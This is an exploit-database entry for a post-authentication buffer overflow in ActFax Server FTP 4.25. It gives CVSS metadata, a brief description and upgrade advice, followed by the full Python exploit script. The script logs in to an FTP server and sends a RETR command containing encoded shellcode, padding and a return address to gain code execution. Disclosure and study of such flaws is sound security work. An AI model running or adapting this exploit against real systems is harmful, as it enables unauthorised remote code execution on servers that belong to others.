ActFax Server FTP Remote BOF (post auth)

vendor:

ActFax Server FTP

by:

chap0

9.3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: ActFax Server FTP

Affected Version From: Version 4.25, Build 0221 (2010-02-11)

Affected Version To: Version 4.25, Build 0221 (2010-02-11)

Patch Exists: YES

Related CWE: N/A

CPE: a:actfax:actfax_server_ftp

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3

2011

ActFax Server FTP Remote BOF (post auth)

A buffer overflow vulnerability exists in ActFax Server FTP, which could allow an authenticated remote attacker to execute arbitrary code on the vulnerable system. The vulnerability is due to insufficient boundary checks when handling user-supplied input. An attacker can exploit this vulnerability by sending a specially crafted FTP request containing an overly long string. Successful exploitation could result in arbitrary code execution in the context of the application.

Mitigation:

Upgrade to the latest version of ActFax Server FTP.

Source

Exploit-DB raw data:

#!/usr/bin/python
# Exploit Title: ActFax Server FTP Remote BOF (post auth)
# Date: Feb 15, 2011
# Author: chap0
# Software Link: http://www.actfax.com/download/actfax_setup_en.exe
# Version: Version 4.25, Build 0221 (2010-02-11)
# Tested on: Windows XP SP3 en
# Big thanks to Sud0 - and an extra greetz to mr_me -RESPECT
# Stay true my friends

import socket

print "\nActFax Server FTP Remote BOF"
print " chap0 - www.seek-truth.net \n"

# pops calc
calccode = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJINkXlqELKZL587Pep7PdoaxsSSQbLPcLMw5JXbpX8KwOcHBPwkON0A"

# push ebp #pop eax #sub eax,55555521 * 3 :)
junk = "\x55\x58\x2D\x21\x55\x55\x55\x2D\x21\x55\x55\x55\x2D\x21\x55\x55\x55" + "C"*135 + calccode + "A"*(616-len(calccode))

payload = junk + "\x37\x27\x40\x00" #RETN

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.1.2',21))
s.recv(1024)
s.send('USER ' + 'chapo\r\n')
print (s.recv(1024))
s.send('PASS chapo\r\n')
print (s.recv(1024))
s.send('RETR ' + payload + '\r\n')
s.close